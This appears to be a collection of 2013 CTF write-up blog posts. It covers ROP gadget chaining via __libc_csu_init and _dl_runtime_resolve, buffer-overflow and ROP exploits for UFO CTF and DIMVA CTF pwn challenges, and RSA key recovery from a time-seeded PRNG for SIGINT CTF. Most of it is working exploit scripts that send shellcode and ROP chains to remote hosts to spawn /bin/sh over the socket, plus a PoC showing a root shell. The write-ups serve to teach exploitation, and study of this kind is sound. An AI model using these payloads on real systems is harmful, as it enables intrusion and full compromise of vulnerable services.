gdb-peda$ x/10x &_DYNAMIC 
0x6006f0: 0x0000000000000001 0x0000000000000010
0x600700: 0x000000000000000c 0x0000000000400378
0x600710: 0x000000000000000d 0x0000000000400618
0x600720: 0x0000000000000004 0x0000000000400240
0x600730: 0x0000000000000005 0x00000000004002c8
gdb-peda$ x/i 0x0000000000400378
   0x400378 <_init>: sub    rsp,0x8
gdb-peda$ x/i 0x0000000000400618
   0x400618 <_fini>: sub    rsp,0x8
gdb-peda$ x/gx 0x600718
0x600718: 0x0000000000400618
We can make call QWORD PTR [r12+rbx*8] point to 0x600718, so that _fini is called. This is what _fini looks like
gdb-peda$ disass _fini
Dump of assembler code for function _fini:
   0x0000000000400618 <+0>: sub    rsp,0x8
   0x000000000040061c <+4>: call   0x400480 <__do_global_dtors_aux>
   0x0000000000400621 <+9>: add    rsp,0x8
   0x0000000000400625 <+13>: ret    
End of assembler dump.
_fini function and subsequent functions called from _fini doesn't disturb the state of RDX register and RBX value is preserved. Below is the POC:
#!/usr/bin/env python

import struct

payload  = "A" * 72
payload += struct.pack("<Q", 0x00000000004005b6) 
# mov rbx,QWORD PTR [rsp+0x08]; mov rbp,QWORD PTR [rsp+0x10]; mov r12,QWORD PTR [rsp+0x18] ; 
# mov r13,QWORD PTR [rsp+0x20]; mov r14,QWORD PTR [rsp+0x28]; mov r15,QWORD PTR [rsp+0x30] ; add rsp,0x38 ; ret
payload += "A" * 8

# Adjust Offset & Address such that 0x0a is avoided & call QWORD PTR [r12+rbx*8] points to _fini
payload += struct.pack("<Q", 0x0)        # Offset of pointer to _fini function in RBX
payload += struct.pack("<Q", 0x1)        # To pass cmp rbx,rbp check in RBP
payload += struct.pack("<Q", 0x600718)   # address in R12

payload += "B"*8       # Value for EDI register
payload += "C"*8       # Value for RSI register
payload += "D"*8       # Value for RDX register

payload += struct.pack("<Q", 0x00000000004005a0)
# mov rdx,r15; mov rsi,r14; mov edi,r13d; call QWORD PTR [r12+rbx*8]; add rbx,0x1; cmp rbx,rbp; jb 0x4005a0 <__libc_csu_init+80> 
# mov rbx,QWORD PTR [rsp+0x08]; mov rbp,QWORD PTR [rsp+0x10]; mov r12,QWORD PTR [rsp+0x18] ; 
# mov r13,QWORD PTR [rsp+0x20]; mov r14,QWORD PTR [rsp+0x28]; mov r15,QWORD PTR [rsp+0x30] ; add rsp,0x38 ; ret

payload += "E"*56
payload += struct.pack("<Q", 0xdeadbeef)
print payload
Running the exploit we get
gdb-peda$ info registers
rax            0x7 0x7
rbx            0x4545454545454545 0x4545454545454545
rcx            0x38b7ad41d0 0x38b7ad41d0
rdx            0x4444444444444444 0x4444444444444444
rsi            0x4343434343434343 0x4343434343434343
rdi            0x42424242 0x42424242
rbp            0x4545454545454545 0x4545454545454545
rsp            0x7fffbbd90350 0x7fffbbd90350
r8             0x38b7d7a300 0x38b7d7a300
r9             0x38b720e8e0 0x38b720e8e0
r10            0x7fffbbd90000 0x7fffbbd90000
r11            0x246 0x246
r12            0x4545454545454545 0x4545454545454545
r13            0x4545454545454545 0x4545454545454545
r14            0x4545454545454545 0x4545454545454545
r15            0x4545454545454545 0x4545454545454545
rip            0xdeadbeef 0xdeadbeef
eflags         0x10206 [ PF IF RF ]
cs             0x33 0x33
ss             0x2b 0x2b
ds             0x0 0x0
es             0x0 0x0
fs             0x0 0x0
gs             0x0 0x0
gdb-peda$ x/i $rip
=> 0xdeadbeef: Cannot access memory at address 0xdeadbeef
We can see that EDI, RSI and RDX are loaded with user controlled data. One can also make call QWORD PTR [r12+rbx*8] point to GOT address of functions instead of _fini, as per requirement.

Stack Shifting gadget:

Another important gadget that __libc_csu_init provides is pop rsp. This can be used to shift stack to desired location, say .bss/.data section
gdb-peda$ x/9i 0x0000000000401898
   0x401898 <__libc_csu_init+104>: pop    rsp
   0x401899 <__libc_csu_init+105>: and    al,0x8
   0x40189b <__libc_csu_init+107>: mov    rbp,QWORD PTR [rsp+0x10]
   0x4018a0 <__libc_csu_init+112>: mov    r12,QWORD PTR [rsp+0x18]
   0x4018a5 <__libc_csu_init+117>: mov    r13,QWORD PTR [rsp+0x20]
   0x4018aa <__libc_csu_init+122>: mov    r14,QWORD PTR [rsp+0x28]
   0x4018af <__libc_csu_init+127>: mov    r15,QWORD PTR [rsp+0x30]
   0x4018b4 <__libc_csu_init+132>: add    rsp,0x38
   0x4018b8 <__libc_csu_init+136>: ret

Dereference with respect to RSP:

This gadget might be useful to work with function pointers in stack
gdb-peda$ x/16i 0x40188a
   0x40188a <__libc_csu_init+90>: call   QWORD PTR [rsp+rbx*8]
   0x40188d <__libc_csu_init+93>: add    rbx,0x1
   0x401891 <__libc_csu_init+97>: cmp    rbx,rbp
   0x401894 <__libc_csu_init+100>: jne    0x401880 <__libc_csu_init+80>
   0x401896 <__libc_csu_init+102>: mov    rbx,QWORD PTR [rsp+0x8]
   0x40189b <__libc_csu_init+107>: mov    rbp,QWORD PTR [rsp+0x10]
   0x4018a0 <__libc_csu_init+112>: mov    r12,QWORD PTR [rsp+0x18]
   0x4018a5 <__libc_csu_init+117>: mov    r13,QWORD PTR [rsp+0x20]
   0x4018aa <__libc_csu_init+122>: mov    r14,QWORD PTR [rsp+0x28]
   0x4018af <__libc_csu_init+127>: mov    r15,QWORD PTR [rsp+0x30]
   0x4018b4 <__libc_csu_init+132>: add    rsp,0x38
   0x4018b8 <__libc_csu_init+136>: ret 
Chaining Gadgets from Linker:

_dl_runtime_resolve function in dynamic linker has the following sequnce of instructions
   0x38b7214780 <_dl_runtime_resolve>:    sub    rsp,0x38
   0x38b7214784 <_dl_runtime_resolve+4>:  mov    QWORD PTR [rsp],rax
   0x38b7214788 <_dl_runtime_resolve+8>:  mov    QWORD PTR [rsp+0x8],rcx
   0x38b721478d <_dl_runtime_resolve+13>: mov    QWORD PTR [rsp+0x10],rdx
   0x38b7214792 <_dl_runtime_resolve+18>: mov    QWORD PTR [rsp+0x18],rsi
   0x38b7214797 <_dl_runtime_resolve+23>: mov    QWORD PTR [rsp+0x20],rdi
   0x38b721479c <_dl_runtime_resolve+28>: mov    QWORD PTR [rsp+0x28],r8
   0x38b72147a1 <_dl_runtime_resolve+33>: mov    QWORD PTR [rsp+0x30],r9
   0x38b72147a6 <_dl_runtime_resolve+38>: mov    rsi,QWORD PTR [rsp+0x40]
   0x38b72147ab <_dl_runtime_resolve+43>: mov    rdi,QWORD PTR [rsp+0x38]
   0x38b72147b0 <_dl_runtime_resolve+48>: call   0x38b720de00 <_dl_fixup>
   0x38b72147b5 <_dl_runtime_resolve+53>: mov    r11,rax    @ 0x35
   0x38b72147b8 <_dl_runtime_resolve+56>: mov    r9,QWORD PTR [rsp+0x30]
   0x38b72147bd <_dl_runtime_resolve+61>: mov    r8,QWORD PTR [rsp+0x28]
   0x38b72147c2 <_dl_runtime_resolve+66>: mov    rdi,QWORD PTR [rsp+0x20]
   0x38b72147c7 <_dl_runtime_resolve+71>: mov    rsi,QWORD PTR [rsp+0x18]
   0x38b72147cc <_dl_runtime_resolve+76>: mov    rdx,QWORD PTR [rsp+0x10]
   0x38b72147d1 <_dl_runtime_resolve+81>: mov    rcx,QWORD PTR [rsp+0x8]
   0x38b72147d6 <_dl_runtime_resolve+86>: mov    rax,QWORD PTR [rsp]
   0x38b72147da <_dl_runtime_resolve+90>: add    rsp,0x48
   0x38b72147de <_dl_runtime_resolve+94>: jmp    r11
gdb-peda$ disass read
Dump of assembler code for function read@plt:
   0x00000000004003e8 <+0>: jmp    QWORD PTR [rip+0x20056a]  # 0x600958 <read@got.plt>
   0x00000000004003ee <+6>: push   0x1
   0x00000000004003f3 <+11>: jmp    0x4003c8    # PLT [0] 
End of assembler dump.
PLT [0] code:
gdb-peda$ x/3i 0x4003c8
   0x4003c8: push   QWORD PTR [rip+0x200572]   # 0x600940
   0x4003ce: jmp    QWORD PTR [rip+0x200574]   # 0x600948, GOT entry ie PLTGOT+16
   0x4003d4: nop    DWORD PTR [rax+0x0]
gdb-peda$ x/x 0x600948
0x600948: 0x00000000
gdb-peda$ break *main
Breakpoint 1 at 0x400578
gdb-peda$ run
gdb-peda$ x/x 0x600948
0x600948: 0x00000038b7214780      # address of _dl_runtime_resolve
The code at 0x4003c8 which is PLT[0] calls _dl_runtime_resolve in dynamic linker to resolve the address of libc functions during runtime. If one can leak the address of _dl_runtime_resolve by reading the GOT entry, the interesting gadget sequence is located at offset 0x35, from the leaked address
   0x38b72147b5 <_dl_runtime_resolve+53>: mov    r11,rax    @ 0x35 + GOT
   0x38b72147b8 <_dl_runtime_resolve+56>: mov    r9,QWORD PTR [rsp+0x30]
   0x38b72147bd <_dl_runtime_resolve+61>: mov    r8,QWORD PTR [rsp+0x28]
   0x38b72147c2 <_dl_runtime_resolve+66>: mov    rdi,QWORD PTR [rsp+0x20]
   0x38b72147c7 <_dl_runtime_resolve+71>: mov    rsi,QWORD PTR [rsp+0x18]
   0x38b72147cc <_dl_runtime_resolve+76>: mov    rdx,QWORD PTR [rsp+0x10]
   0x38b72147d1 <_dl_runtime_resolve+81>: mov    rcx,QWORD PTR [rsp+0x8]
   0x38b72147d6 <_dl_runtime_resolve+86>: mov    rax,QWORD PTR [rsp]
   0x38b72147da <_dl_runtime_resolve+90>: add    rsp,0x48
   0x38b72147de <_dl_runtime_resolve+94>: jmp    r11
If register RAX can be loaded with user controlled value, the above gadget sequence can be used to call any functions as it can populate all necessary registers. Here is a simple POC exploit for a dummy code, ASLR was disabled for testing, but we need some info leak when ASLR is enabled
#!/usr/bin/env python

#   GADGET 
#   0x38b72147b5 <_dl_runtime_resolve+53>: mov    r11,rax    @ 0x35 from GOT used for PLT[0], leaked address
#   0x38b72147b8 <_dl_runtime_resolve+56>: mov    r9,QWORD PTR [rsp+0x30]
#   0x38b72147bd <_dl_runtime_resolve+61>: mov    r8,QWORD PTR [rsp+0x28]
#   0x38b72147c2 <_dl_runtime_resolve+66>: mov    rdi,QWORD PTR [rsp+0x20]
#   0x38b72147c7 <_dl_runtime_resolve+71>: mov    rsi,QWORD PTR [rsp+0x18]
#   0x38b72147cc <_dl_runtime_resolve+76>: mov    rdx,QWORD PTR [rsp+0x10]
#   0x38b72147d1 <_dl_runtime_resolve+81>: mov    rcx,QWORD PTR [rsp+0x8]
#   0x38b72147d6 <_dl_runtime_resolve+86>: mov    rax,QWORD PTR [rsp]
#   0x38b72147da <_dl_runtime_resolve+90>: add    rsp,0x48
#   0x38b72147de <_dl_runtime_resolve+94>: jmp    r11

import struct
import socket
import time

ip = "127.0.0.1"
port = 3337
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

shellcode = ( "\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e" +
              "\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89" +
              "\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" )

payload  = "A" * 72

# call mmap
payload += struct.pack("<Q", 0x00400574)     # pop rax
payload += struct.pack("<Q", 0x38b7addfd0 )  # address of mmap@libc

payload += struct.pack("<Q", 0x38b72147b5 )  # gadget from linker
payload += "ANYTHING"                           # For RAX
payload += struct.pack("<Q", 34 )            # For RCX, 4th param
payload += struct.pack("<Q", 7 )             # For RDX, 3rd param
payload += struct.pack("<Q", 1024 )          # For RSI, 2nd param
payload += struct.pack("<Q", 0x0badc000 )    # For RDI, 1st param
payload += struct.pack("<Q", 0 )             # For R8,  5th param
payload += struct.pack("<Q", 0 )             # For R9,  6th param
payload += "MOVEMOVE"
payload += "MOVEMOVE"

payload += struct.pack("<Q", 0x00400574)     # pop rax
payload += struct.pack("<Q", 0x004003e8 )    # For RAX, read@PLT

# call read
payload += struct.pack("<Q", 0x38b72147b5 )  # gadget from linker
payload += "ANYTHING"                           # For RAX
payload += "ANYTHING"                           # For RCX, 4th param
payload += struct.pack("<Q", 1024 )          # For RDX, 3rd param
payload += struct.pack("<Q", 0x0badc000 )    # For RSI, 2nd param
payload += struct.pack("<Q", 0 )             # For RDI, 1st param, stdin
payload += "ANYTHING"                           # For R8,  5th param
payload += "ANYTHING"                           # For R9,  6th param
payload += "MOVEMOVE"
payload += "MOVEMOVE"

payload += struct.pack("<Q", 0x0badc000 )    # jump to shellcode 

soc.send(payload + "\n")
time.sleep(1)
soc.send(shellcode + "\n")
soc.send("id\n")

print soc.recv(1024)
[ctf@renorobert ret2linker]$ python exploit.py 
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Will update post when I find more info.

Monday, July 22, 2013

UFO CTF 2013 - pwn 100 - ufobay - [Team xbios]

The given binary is a 32 bit FreeBSD ELF executable, statically linked. Setting up a FreeBSD 9.1 VM, I started analysing the binary. Binary requires a user ufobay and database file /home/ufobay/ufobay.db. We noticed a buffer overflow vulnerability in option 1, where it gets parcel. User can supply 256 bytes of data. 172 bytes of data can overwrite the saved EIP.

Here is the idea of exploit:

[*] Overwrite saved EIP with CALL ESP gadget
[*] Place the shellcode immediately after the CALL ESP gadget

Below is the exploit:
#!/usr/bin/env python

import struct
import socket
import time

# msfvenom -p bsd/x86/exec CMD='/bin/sh -c sh<&5 >&5' -a x86_64 -b '\x0a'
shellcode = ( "\x6a\x3b\x58\x99\x52\x68\x2d\x63\x00\x00\x89\xe7\x52\x68" +
              "\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\xe8\x15" +
              "\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x63\x20" +
              "\x73\x68\x3c\x26\x35\x20\x3e\x26\x35\x00\x57\x53\x89\xe1" +
              "\x52\x51\x53\x50\xcd\x80")

ret_addr = struct.pack("<I", 0x080ff46d) # call esp
NOP = struct.pack("B", 0x90)
EBP = struct.pack("<I", 0x0815c080) 
payload = NOP * 168 + EBP + ret_addr + shellcode

ip = '92.63.96.226'
#ip = '192.168.122.200'
port = 1337

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
time.sleep(1)
print soc.recv(1024)

# option
soc.send("1\n")
time.sleep(0.5)
print soc.recv(512)

# source
soc.send("A\n")
time.sleep(0.5)
print soc.recv(512)

# destination
soc.send("A\n")
time.sleep(0.5)
print soc.recv(512)

# size
soc.send(str(len(payload)) + "\n")
time.sleep(0.5)
print soc.recv(512)

# parcel
soc.send(payload + "\n")
time.sleep(0.5)

soc.send("cat key\n")
time.sleep(0.5)
print soc.recv(1024)
Flag for the challenge is H0wCanW3D3F3atAL1ENZ

DIMVA CTF 2013 - pwn 200 - [Team xbios]

We were given a 32 bit Linux ELF executable with NX enabled. The executable is very much similar to pwn100. As pwn100, we can overwrite function pointer in signal handler and there is a format string bug, which in turn can trigger a buffer overflow in main() and send_back() functions.
main  {
    read(client_sockfd, buffer, 0x800);
    strncpy(tech_id, buffer, 0x100); 
    sprintf(&v10, tech_id);  // format string bug
    sprintf(&v5, "\n> Thank you %s\n> Now please send your code using your RETL Flux Capacitor device.\n", &v10); 
    send_back(&v5);
}

send_back(const char *src)  {
    char buf[2048]; 
    memset(&buf, 0, 0x800);
    strncpy(&buf, src, strlen(src) - 1); // length parameter computed from user input
    return send(client_sockfd, &buf, strlen(&buf) - 1, 0);
}
Below input can overwrite saved EIP in send_back()
%2000d + "A" * 200
But I didn't exploit this vulnerability. We still went for same function pointer overwrite in signal handler, but this time with ROP. Here is the idea of exploit

[*] CALL EAX instruction points to gadget to shift ESP into user data past the header
[*] Call dup2(4, stdin) and dup2(4, stdout)
[*] Now call execve() to execute /bin/sh. Calling system() inside siganl didn't work, giving BAD ADDRESS error. Looks like an issue with signal safety
[*] Offsets of libc functions are computed using the copy of libc obtained from pwn100 shell

Below is the exploit:
#!/usr/bin/env python

import socket
from hashlib import sha256
import struct
import time

#ip = "127.0.0.1"
ip = "dimvactf.0x90.eu"
#port = 7778
port = 1120

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
print soc.recv(1024)

libc_start_main = 0x193e0
dup2 = 0xdedd0
execve = 0xb82e0

format = "ProtoSecure1.0 " + struct.pack("B", 0x80) # 16 bytes
hash = sha256(struct.pack("<I", 0x0806b264) * 32).digest()
string_for_hash = struct.pack("<I", 0x0806b264) * 32  # ret as NOP
payload  = struct.pack("<I", 0x0806b264) * 275   # ret

# dup2 stdin
payload += struct.pack("<I", 0x08048a80)   # pop ebx ; ret
payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008))   # GOT address of __libc_start_main
payload += struct.pack("<I", 0x08048ec3)   # pop ebp ; ret
payload += struct.pack("<I", dup2 - libc_start_main)   # Offset to dup2
payload += struct.pack("<I", 0x0804cf55)   # xchg eax, ebp ; ret
payload += struct.pack("<I", 0x0805801e)   # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret
payload += "MOVE"
payload += "JUNK"
payload += struct.pack("<I", 0x0806d460)   # .bss
payload += struct.pack("<I", 0x0804b1d2)   # call eax
payload += struct.pack("<I", 0x4)          # socket
payload += struct.pack("<I", 0x0)          # stdin
payload += "A" * 52

# dup2 stdout
payload += struct.pack("<I", 0x08048a80)   # pop ebx ; ret
payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008))   # GOT address of __libc_start_main
payload += struct.pack("<I", 0x08048ec3)   # pop ebp ; ret
payload += struct.pack("<I", dup2 - libc_start_main)   # Offset to dup2_remote
payload += struct.pack("<I", 0x0804cf55)   # xchg eax, ebp ; ret
payload += struct.pack("<I", 0x0805801e)   # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret
payload += "MOVE"
payload += "JUNK"
payload += struct.pack("<I", 0x0806d460)   # .bss
payload += struct.pack("<I", 0x0804b1d2)   # call eax
payload += struct.pack("<I", 0x4)          # socket
payload += struct.pack("<I", 0x1)          # stdout
payload += "A" * 52

# execve
payload += struct.pack("<I", 0x08048a80)   # pop ebx ; ret
payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008))   # GOT address of __libc_start_main
payload += struct.pack("<I", 0x08048ec3)   # pop ebp ; ret
payload += struct.pack("<I", execve - libc_start_main)   # Offset to execve_remote
payload += struct.pack("<I", 0x0804cf55)   # xchg eax, ebp ; ret
payload += struct.pack("<I", 0x0805801e)   # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret
payload += "MOVE"
payload += "JUNK"
payload += struct.pack("<I", 0x0806d460)   # .bss
payload += struct.pack("<I", 0x08048eef)   # call eax
payload += struct.pack("<I", 0x0806ed40+1528)   # parameters for execve
payload += struct.pack("<I", 0x0)
payload += struct.pack("<I", 0x0)
payload += "/bin"
payload += "//sh"
payload += struct.pack("<I", 0x0)

# stack pivot for call eax
payload += struct.pack("<I", 0x080565ee)    # add esp, 0x5C

code = (format + hash + string_for_hash + payload)
soc.send(code + "\n")
time.sleep(1)
print soc.recv(2048)

soc.send(code + "\n")
time.sleep(1)
print soc.recv(1024)

soc.send("/bin/cat flag\n")
time.sleep(1)
print soc.recv(1024)
Flag for the challenge is c0ffee700ab3f9a35614f29d1cb65186

Meanwhile I wrote another exploit, as I faced some issues with first exploit. Eventually got both working. Here is the exploit

[*] mmap() a new memory area with RWX permission
[*] call read() and copy payload into buffer
[*] Jump to this buffer
#!/usr/bin/env python

import socket
from hashlib import sha256
import struct
import time

#ip = "127.0.0.1"
ip = "dimvactf.0x90.eu"
#port = 7778
port = 1120

libc_start_main = 0x193e0
mmap = 0xeb0e0
read = 0xde440 

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
print soc.recv(1024)


format = "ProtoSecure1.0 " + struct.pack("B", 0x80) # 16 bytes
hash = sha256(struct.pack("<I", 0x0806b264) * 32).digest()
string_for_hash = struct.pack("<I", 0x0806b264) * 32  # ret as NOP

payload  = struct.pack("<I", 0x0806b264) * 290   # ret as NOP

# mmap
payload += struct.pack("<I", 0x08048a80)   # pop ebx ; ret
payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008))   # GOT address of __libc_start_main
payload += struct.pack("<I", 0x08048ec3)   # pop ebp ; ret
payload += struct.pack("<I", mmap - libc_start_main)   # Offset to mmap
payload += struct.pack("<I", 0x0804cf55)   # xchg eax, ebp ; ret
payload += struct.pack("<I", 0x0805801e)   # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret
payload += "MOVE"
payload += "JUNK"
payload += struct.pack("<I", 0x0806d460)   # .bss
payload += struct.pack("<I", 0x0804b1d2)   # call eax
payload += struct.pack("<I", 0xbadc000)    # addr for mmap
payload += struct.pack("<I", 1024)         # size
payload += struct.pack("<I", 7)            # permission
payload += struct.pack("<I", 34)   
payload += struct.pack("<I", 0x0)
payload += struct.pack("<I", 0x0)
payload += "A" * 36

# read
payload += struct.pack("<I", 0x08048a80)   # pop ebx ; ret
payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008))   # GOT address of __libc_start_main
payload += struct.pack("<I", 0x08048ec3)   # pop ebp ; ret
payload += struct.pack("<I", read - libc_start_main)   # Offset to read
payload += struct.pack("<I", 0x0804cf55)   # xchg eax, ebp ; ret
payload += struct.pack("<I", 0x0805801e)   # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret
payload += "MOVE"
payload += "JUNK"
payload += struct.pack("<I", 0x0806d460)   # .bss
payload += struct.pack("<I", 0x0804b1d2)   # call eax
payload += struct.pack("<I", 0x4)          # socket
payload += struct.pack("<I", 0xbadc000)    # buffer
payload += struct.pack("<I", 1024)         # size
payload += "A" * 48
payload += struct.pack("<I", 0xbadc000)    # return address

# call eax, stack pivot 
payload += struct.pack("<I", 0x080565ee)   # add esp, 0x5C ; ret

code = (format + hash + string_for_hash + payload)
soc.send(code + "\n")
time.sleep(1)
print soc.recv(2048)

soc.send(code + "\n")
time.sleep(1)
print soc.recv(1024)

dup2 = ( "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04" +
         "\xcd\x80\x75\xf6" )                 # 18 bytes

# msfvenom /bin/sh
shell = ( "\xdb\xc1\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x0b\xb8\x79\x0f" +   # 70 bytes
          "\x74\x5a\x83\xc3\x04\x31\x43\x16\x03\x43\x16\xe2\x8c\x65" +
          "\x7f\x02\xf7\x28\x19\xda\x2a\xae\x6c\xfd\x5c\x1f\x1c\x6a" +
          "\x9c\x37\xcd\x08\xf5\xa9\x98\x2e\x57\xde\x93\xb0\x57\x1e" +
          "\x8b\xd2\x3e\x70\xfc\x61\xa8\x8c\x55\xd5\xa1\x6c\x94\x59" )

soc.send(dup2 + shell + "\n")
soc.send("/bin/cat flag\n")
time.sleep(1)
print soc.recv(1024)

DIMVA CTF 2013 - pwn 100 - [Team xbios]

We were given a 32-bit Linux ELF executable, with NX disabled. Analysing the binary, we can see the following information

[*] The binary reads user input as read(fd, 0x806ec40, 0x800 )
[*] parse_packet() function checks for particular format of input
[*] If checks are passed, memcpy() is called

Format of Input:
STRING(ProtoSecure1.0 )(15 bytes) + BYTE to reach memcpy() + SHA256_HASH(32 bytes) + STRING used for computing hash(128 bytes) + DATA
To reach memcpy() fuction, we have to supply a suitable byte.
.text:080491E7                 cmp     [ebp+var_1A], 7Fh
.text:080491EC                 jg      short loc_8049212
.text:080491EE                 movsx   ecx, [ebp+var_1A]
.text:080491F2                 mov     eax, [ebp+var_20]
.text:080491F5                 add     eax, 30h
.text:080491F8                 mov     edx, eax
.text:080491FA                 lea     eax, [ebp+dest]
.text:08049200                 mov     [esp+8], ecx    ; n
.text:08049204                 mov     [esp+4], edx    ; src
.text:08049208                 mov     [esp], eax      ; dest
.text:0804920B                 call    _memcpy
Jg does a signed comparison, 0x80 sets the sign flag and jg is not taken. This leads us to memcpy(). movsx ecx, [ebp+var_1A] causes memcpy to have very large size parameter, tiggering SIGSEGV in libc. Now the signal handler is called.

In the segfault_sigaction(), we can control the call to function pointer.
.text:08049096                 mov     eax, [ebp+var_1C]
.text:08049099                 call    eax                 
Our idea of exploit is to overwrite the function pointer with the address of our payload. The remote application provides us with the information of certain registers.
Current context:

EAX: 0xffffcf0c
ESI: 0xffffd2e8
EDI: 0x805815c
ECX: 0xffffcf0c
ESP: 0xffffc620
EBP: 0xffffce78
Debugging the binary locally, I noticed that EDX points to the user supplied data. Since the offset to address pointed to by EDX from EBP is constant, we the compute the value in EDX using the value in EBP.
EBP - 1592
hex(0xffffce78 - 1592)
'0xffffc840' == EDX
Now we have the address of user supplied data in remote machine. Here is the final exploit
#!/usr/bin/env python

import socket
from hashlib import sha256
import struct
import time

#ip = "127.0.0.1"
ip = "dimvactf.0x90.eu"
#port = 6666
port = 1116
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
print soc.recv(1024)

dup2 = ( "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04" +
         "\xcd\x80\x75\xf6" )         # 18 bytes

shell = ( "\xdb\xc1\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x0b\xb8\x79\x0f" +   # 70 bytes
          "\x74\x5a\x83\xc3\x04\x31\x43\x16\x03\x43\x16\xe2\x8c\x65" +
          "\x7f\x02\xf7\x28\x19\xda\x2a\xae\x6c\xfd\x5c\x1f\x1c\x6a" +
          "\x9c\x37\xcd\x08\xf5\xa9\x98\x2e\x57\xde\x93\xb0\x57\x1e" +
          "\x8b\xd2\x3e\x70\xfc\x61\xa8\x8c\x55\xd5\xa1\x6c\x94\x59" )

format = "ProtoSecure1.0 " + struct.pack("B", 0x80) # 16 bytes
hash = sha256("A"*128).digest()
string_for_hash = "A"*128
payload = (struct.pack("B",0x90) * 1300 + dup2 + shell + struct.pack("<I", 0xffffc840+200)) 
code = (format + hash + string_for_hash + payload)

soc.send(code + "\n")
time.sleep(1)
print soc.recv(1024)

soc.send("cat flag\n")
time.sleep(1)
print soc.recv(1024)
Flag for the challenge is c0ffee3ccdd510d0a8faccc8830f61bd

Monday, July 8, 2013

SIGINT CTF - crypto 200 - RSA - [Team xbios]

We were given two files for this challenge - python script used to generate RSA keypair and authorized_keys. Authorized_keys is the public key which has the n and e value. Below is the code
#!/usr/bin/env python

from time import time
from os import system
from Crypto.PublicKey import RSA

SEED = int(time())

def randfunc(n):
    def rand():
        global SEED
        ret = SEED*0x1333370023004200babe004141414100e9a1192355de965ab8cc1239cf015a4e35 + 1
        SEED = ret
        return (ret >> 0x10) & 0x7fff
    ret = ""
    while len(ret) < n:
        ret += chr(rand() & 0xff)
    return ret

keypair = RSA.generate(1024, randfunc)

with open("pub", "w") as pubfile, open("id_rsa", "w") as privfile:
    privfile.write(keypair.exportKey())
    pubfile.write(keypair.publickey().exportKey())

system("ssh-keygen -m PKCS8 -i -f pub > id_rsa.pub && rm pub")
Looking at the code we can see that, current time is used as SEED value during key generation. To solve the challenge

[*] Find the SEED value used in key generation
[*] Generate the private key pair for the given public key
[*] Copy the generated private key to ~/.ssh/id_rsa. Now we can prove our identity to the remote machine and perform a login

Bruteforcing the SEED value was a bit of pain. After some failures, finally we decided to bruteforce the SEED value by going behind the start of CTF time ie
SEED = 1373040000
GMT: Fri, 05 Jul 2013 16:00:00 GMT
The n value was extracted from authorized key as
 
0xbe2bac35ca87627aacabc899d4607c3f66ec9c69b4f4121c20e1716a6587e1fdeb84e102173c9db7c22757254288abc1aac22e4cfcf6beeff8003de55cadc17ae6952478861e6415e801e0e3d04aa917188775207f2b53afb7f948166046de1cbe31524b61fcfa9414714308fe089464157d977ffe49c995922b95305ce961d3
Below is the script we used for bruteforce
#!/usr/bin/env python

from Crypto.PublicKey import RSA
from sys import exit

target = 0xbe2bac35ca87627aacabc899d4607c3f66ec9c69b4f4121c20e1716a6587e1fdeb84e102173c9db7c22757254288abc1aac22e4cfcf6beeff8003de55cadc17ae6952478861e6415e801e0e3d04aa917188775207f2b53afb7f948166046de1cbe31524b61fcfa9414714308fe089464157d977ffe49c995922b95305ce961d3

SEED = 1373040000
counter = 0

def randfunc(n):
    global SEED_Brute
    ret = ""

    while len(ret) < n:
        tmp = SEED_Brute*0x1333370023004200babe004141414100e9a1192355de965ab8cc1239cf015a4e35+1
        SEED_Brute = tmp
        tmp = (tmp >> 0x10) & 0x7fff
        ret += chr(tmp & 0xff)
    return ret

while 1:
    SEED_Brute = SEED - counter
    keypair = RSA.generate(1024, randfunc)
    if keypair.n == target:
        print keypair.p
        print keypair.q
        print (SEED - counter)
        exit(0)
    counter += 1
After sometime we got the following values:
p = 10196183246368760603869192593971202143897281417220455881063414616103901438182656326076501376638806928762094749150020638960102206987607293047096627515275223
q = 13097286606179453667665592444299109782484218865253457545521978739889248320232481682880143106432871469494586765663594908396375009598486558938138835723794021
SEED = 1373038672
Now generate the private key and place it in ~/.ssh/id_rsa and connect to the challenge machine
challenge@ubuntu:~$ ls
flag.txt
challenge@ubuntu:~$ cat flag.txt 
SIGINT_some_people_pay_100_euro_for_this
Flag for the challenge is SIGINT_some_people_pay_100_euro_for_this

Update:

Well, I tried out the optimization as mentioned in the comment section. Thought of making a small note on it.

[*] rand() function is linear congruential generator of form (((SEED * 0x1333370023004200babe004141414100e9a1192355de965ab8cc1239cf015a4e35) + 1 ) >> 16 ) mod 2^15
[*] After computing ((SEED * 0x1333370023004200babe004141414100e9a1192355de965ab8cc1239cf015a4e35) + 1 ), the output is shifted by 16 bits then mod 2^15 is done. So its enough to consider only 32 bits from left, since bits 31 to 16 is brought to bit position 15 to 0
